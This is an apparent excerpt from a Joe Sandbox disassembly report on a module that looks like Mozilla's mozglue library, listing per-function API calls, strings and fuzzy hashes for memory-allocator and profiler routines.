Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: f8b65fbd3bae444ee2fdf42f28c8c8ec7ebe15e22d50eeafe3d0902deafd75fc
Instruction ID: d67be4f9412a910c83e2ed2e50da3470b0376b447ce03327626dfc7918553bef
Opcode Fuzzy Hash: f8b65fbd3bae444ee2fdf42f28c8c8ec7ebe15e22d50eeafe3d0902deafd75fc
Instruction Fuzzy Hash: 4F637F71E0026A8FCB04CFA8C8905DDF7B2FF89310F298269D959EB755D734A985CB90

Function 6CA03E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CA27770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA03E7D,?,?,?,6CA03E7D,?,?), ref: 6CA2777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CA03F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA03F5C
VerSetConditionMask.NTDLL ref: 6CA03F8D
VerSetConditionMask.NTDLL ref: 6CA03F99
VerSetConditionMask.NTDLL ref: 6CA03FA0
VerSetConditionMask.NTDLL ref: 6CA03FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA03FB4

Strings

nvd3d9wrap.dll, xrefs: 6CA04466
nvinit.dll, xrefs: 6CA04479

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: 42c2e0478e71e43d6ce3c7470786572ad02673d99d3dc802783bfddd2d46b044
Instruction ID: 58b76754d7dc067c6a85681febdaaa50cc9cd2de0f927222d7950f3a36b3d93f
Opcode Fuzzy Hash: 42c2e0478e71e43d6ce3c7470786572ad02673d99d3dc802783bfddd2d46b044
Instruction Fuzzy Hash: ED52FE31614B488FD715DF64C890AABB7F9BFA5208F04492DE496DBB42CB34F909CB60

Function 6C9EED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C9EEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9EEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9F1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9F16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C9F1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9F1A3E

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 8eb47ed1c385595cd64e42e8a2249e4e1856475d70acac758a3516fc2c01dbde
Instruction ID: c060a6f6b16d009f1592cc4ba85656045cd6ce04e1e11f52adcd5bff65582512
Opcode Fuzzy Hash: 8eb47ed1c385595cd64e42e8a2249e4e1856475d70acac758a3516fc2c01dbde
Instruction Fuzzy Hash: 4FB31A71E0425ACFDB14CFA8C890AADB7B2FF49304F2581A9D459AB745D730AD86CF90

Function 6C9DFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA4E7B8), ref: 6C9DFF81
LeaveCriticalSection.KERNEL32(6CA4E7B8), ref: 6C9E022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C9E0240
EnterCriticalSection.KERNEL32(6CA4E768), ref: 6C9E025B
LeaveCriticalSection.KERNEL32(6CA4E768), ref: 6C9E027B

Strings

MOZ_CRASH(), xrefs: 6C9E0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9DFE99, 6C9DFEB7, 6C9DFED3, 6C9E0DB8, 6C9E0DD3, 6C9E19B4, 6C9E1A10

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: b95f4db53da103ba0d1d6ac3d1085c4779e09e15bcd7714ce015e3750160599d
Instruction ID: 1ac0c6ef6fef30e926801c045e797680182b7aefed20a6d50a90eeb3335c5489
Opcode Fuzzy Hash: b95f4db53da103ba0d1d6ac3d1085c4779e09e15bcd7714ce015e3750160599d
Instruction Fuzzy Hash: 28B2EF716057418FD719CF29C590716BBE1BF9A328F28C66CE86A8F796DB31E840CB41

Function 6CA15600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Time entry, xrefs: 6CA15CB6
name, xrefs: 6CA15E79, 6CA15E8F
data, xrefs: 6CA16131
schema, xrefs: 6CA1606D
expected a Count entry, xrefs: 6CA15AC3
ProfileBuffer parse error: %s, xrefs: 6CA15AC8, 6CA15CBB

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 464218c9f7e5178c71f6a9458ce2524f9d0ea8eac3176b46ae96d4b1a8c1711d
Instruction ID: b650fd27a20955fe290da4321f158627e41f803e3358c6207f771f976729d8dc
Opcode Fuzzy Hash: 464218c9f7e5178c71f6a9458ce2524f9d0ea8eac3176b46ae96d4b1a8c1711d
Instruction Fuzzy Hash: 86924B71A083418FD724CF28C49079AB7E1FFC9308F15891DE59A9BB51DB31E989CB92

Function 6CA12E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CA12ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA12EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CA12F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA13214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA13242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA136BF

Strings

get , xrefs: 6CA13205
set , xrefs: 6CA136EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6CA1378D

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: cb6008c5771f729dc17db7461ccf6d42767e530cd61620d7da50a22b49744a35
Instruction ID: 9925cc53371805c74dc063e9258c7c721d9d660c2ae67c7b0f1718af0463190e
Opcode Fuzzy Hash: cb6008c5771f729dc17db7461ccf6d42767e530cd61620d7da50a22b49744a35
Instruction Fuzzy Hash: 0D327EB060D3818FD324CF24C4906AEB7E2AFC9318F18891DE5D987B51DB31D88ACB56

Function 6CA07E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6CA07ECF, 6CA08335
data, xrefs: 6CA08280, 6CA083E1
schema, xrefs: 6CA081E3, 6CA08311
(pre-xul), xrefs: 6CA07E88

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: fea68b415409eb5ee0c853b2d4efdc5ce7d244567f454f275142050cc4fd54ab
Instruction ID: 88ff7d6e2a3b3b3c7fa6bc6cc60892421e2c8d828e955dc63f6b860a49601bb5
Opcode Fuzzy Hash: fea68b415409eb5ee0c853b2d4efdc5ce7d244567f454f275142050cc4fd54ab
Instruction Fuzzy Hash: 78E192B1B043408BC710CF68885066BF7E9BFD5318F158A2DE999E7780DB70ED498B92

Function 6C9ED4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA4E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9FD1C5), ref: 6C9ED4F2
LeaveCriticalSection.KERNEL32(6CA4E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9FD1C5), ref: 6C9ED50B

Part of subcall function 6C9CCFE0: EnterCriticalSection.KERNEL32(6CA4E784), ref: 6C9CCFF6
Part of subcall function 6C9CCFE0: LeaveCriticalSection.KERNEL32(6CA4E784), ref: 6C9CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9FD1C5), ref: 6C9ED52E
EnterCriticalSection.KERNEL32(6CA4E7DC), ref: 6C9ED690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9ED6A6
LeaveCriticalSection.KERNEL32(6CA4E7DC), ref: 6C9ED712
LeaveCriticalSection.KERNEL32(6CA4E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9FD1C5), ref: 6C9ED751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9ED7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C9ED82C
<jemalloc>, xrefs: 6C9ED827

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 680867e66034b39246d12d7856c482d51ba013529693611f49e6175860a0a118
Instruction ID: 92e628dee94ee86ba15c1025b9bd42f9595014342b2c0ff93b089977273d6c65
Opcode Fuzzy Hash: 680867e66034b39246d12d7856c482d51ba013529693611f49e6175860a0a118
Instruction Fuzzy Hash: 0491B172A047018FD719CF29C49062AB7F5FFE9718F14892EE59A87B81D731E845CB82

Function 6C9E5E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C9E5EDB
memset.VCRUNTIME140(6CA27765,000000E5,55CCCCCC), ref: 6C9E5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C9E5FB2
memset.VCRUNTIME140(6CA27765,000000E5,A4C09015), ref: 6C9E61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C9E7652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9E72F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9E730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9E72E3
MOZ_CRASH(), xrefs: 6C9E7BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9E7BCD, 6C9E7C1F, 6C9E7C34, 6C9E80FD

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 5b33bc4e7c2f7eef1687cac62ca1713d8387bbc85c12deba3aa3447019ceed1a
Instruction ID: 13b7b9705e10f3de686849141ed07ed12d8d7d4b225f26512afcd37b54471f89
Opcode Fuzzy Hash: 5b33bc4e7c2f7eef1687cac62ca1713d8387bbc85c12deba3aa3447019ceed1a
Instruction Fuzzy Hash: 8B338C716057018FC30ACF28C590615BBE6BF99328F29C7ADE9698F7A6D731E841CB41

Function 6C9C3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C9C3284,?,?,6C9E56F6), ref: 6C9C3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C9C3284,?,?,6C9E56F6), ref: 6C9C34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C9C3284,?,?,6C9E56F6), ref: 6C9C34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C9C350E
__Init_thread_footer.LIBCMT ref: 6C9C3522
__aulldiv.LIBCMT ref: 6C9C3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C9C3284,?,?,6C9E56F6), ref: 6C9C357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C9C3284,?,?,6C9E56F6), ref: 6C9C3592

Part of subcall function 6C9FAB89: EnterCriticalSection.KERNEL32(6CA4E370,?,?,?,6C9C34DE,6CA4F6CC,?,?,?,?,?,?,?,6C9C3284), ref: 6C9FAB94
Part of subcall function 6C9FAB89: LeaveCriticalSection.KERNEL32(6CA4E370,?,6C9C34DE,6CA4F6CC,?,?,?,?,?,?,?,6C9C3284,?,?,6C9E56F6), ref: 6C9FABD1

Strings

kernel32.dll, xrefs: 6C9C34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C9C3508

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 4ab737ea094aa28a3c5fa28eb04e1fa8fd7ea483403e31706e610fe2594fb37e
Instruction ID: f4bfd87e3403e46aa29fc7793a7c0ebd266b18e4fcc6d61f3e70fe80342109a5
Opcode Fuzzy Hash: 4ab737ea094aa28a3c5fa28eb04e1fa8fd7ea483403e31706e610fe2594fb37e
Instruction Fuzzy Hash: DC318071B00286DBDF08EFB5D848EEEB779BB85309F10C119E51593650DA71D906CB62

Function 6CA14820 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6CA14D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6CA14CAF
data, xrefs: 6CA149B4
-%llu, xrefs: 6CA14825
schema, xrefs: 6CA148C1
ProfileBuffer parse error: %s, xrefs: 6CA14DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6CA14DB8, 6CA14DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6CA14D0A

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: free
String ID: -%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3225433307
Opcode ID: 550d9a27654308344a31581f1234ae6ec26064af73046cc6cea0809891f7bf81
Instruction ID: f34ee4d2f00528ca385d779a2a0c5d586e906f1ad826c076cf8e079f84c8e286
Opcode Fuzzy Hash: 550d9a27654308344a31581f1234ae6ec26064af73046cc6cea0809891f7bf81
Instruction Fuzzy Hash: 8172FC71918B858BD322CF38C4513ABF7E5AFDA344F108B1DE5896B650EB70A486DB42

Function 6CA24EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CA24EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA24F2E
moz_xmalloc.MOZGLUE ref: 6CA24F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CA24F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA252B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA252E6
Sleep.KERNEL32(00000010), ref: 6CA25481
free.MOZGLUE(?), ref: 6CA25498

Strings

(, xrefs: 6CA25250

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 9450f0a37e3875a818cb7400d77b1436ec4dea636fdc40fe86928426bc90a9fd
Instruction ID: 61b0fea59e1cdbf581306ea67111bc88588699e81f3d3c7c43cbd5e7540dafbf
Opcode Fuzzy Hash: 9450f0a37e3875a818cb7400d77b1436ec4dea636fdc40fe86928426bc90a9fd
Instruction Fuzzy Hash: 0EF1C071A18B518FC71ADF38885062BB7B5AFD6284F05C72EF84AA7651DB31D842CB81

Function 6C9D7810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA4E744), ref: 6C9D7885
LeaveCriticalSection.KERNEL32(6CA4E744), ref: 6C9D78A5
EnterCriticalSection.KERNEL32(6CA4E784), ref: 6C9D78AD
LeaveCriticalSection.KERNEL32(6CA4E784), ref: 6C9D78CD
EnterCriticalSection.KERNEL32(6CA4E7DC), ref: 6C9D78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9D78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C9D795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9D79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C9D7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9D7C82
LeaveCriticalSection.KERNEL32(6CA4E7DC), ref: 6C9D7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C9D7DAF

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 8f41569ea00c3a1b98d3c6571afc162dbb5fc52ef5e647bdae1420496c289651
Instruction ID: f79f109bc93d4fb8be626678d582b0b6d77eb3acc03c4c54b17decd3b789c731
Opcode Fuzzy Hash: 8f41569ea00c3a1b98d3c6571afc162dbb5fc52ef5e647bdae1420496c289651
Instruction Fuzzy Hash: 1E025031A0161A8FDB54CF29D984799B7B5FF88318F2682AAD809A7715D730FD91CF80

Function 6CA25FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CA26009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CA26024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6C9CEE51,?), ref: 6CA26046
OutputDebugStringA.KERNEL32(?,6C9CEE51,?), ref: 6CA26061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA26069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CA26073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CA26082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CA4148E), ref: 6CA26091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C9CEE51,00000000,?), ref: 6CA260BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CA260C4

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657383736.000000006CA3D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657425864.000000006CA4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2657457277.000000006CA52000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9c0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: e995083bff06c5a7a1a351043a65c1658c28d2d9af05a51b578663f31094ce75
Instruction ID: fcfefd220caeff513d75c9f05059e351617d4ee4a946170fb02e5327d0eaafc9
Opcode Fuzzy Hash: e995083bff06c5a7a1a351043a65c1658c28d2d9af05a51b578663f31094ce75
Instruction Fuzzy Hash: D521B1B1A002189FDB106F289C09AAE7BB8FF45218F04C528E85A97240DB75E65ACFD1

Function 6C9E9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C9E9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C9E9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C9E9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C9EA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9EA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9EA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9EA8B1, 6C9EA8D4, 6C9EA8EF

Memory Dump Source

Source File: 00000000.00000002.2657287445.000000006C9C1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C9C0000, based on PE: true

Associated: 00000000.00000002.2657255300.000000006C9C0000.00000002.00000001.01000000.0000000B.sdmpDownload File
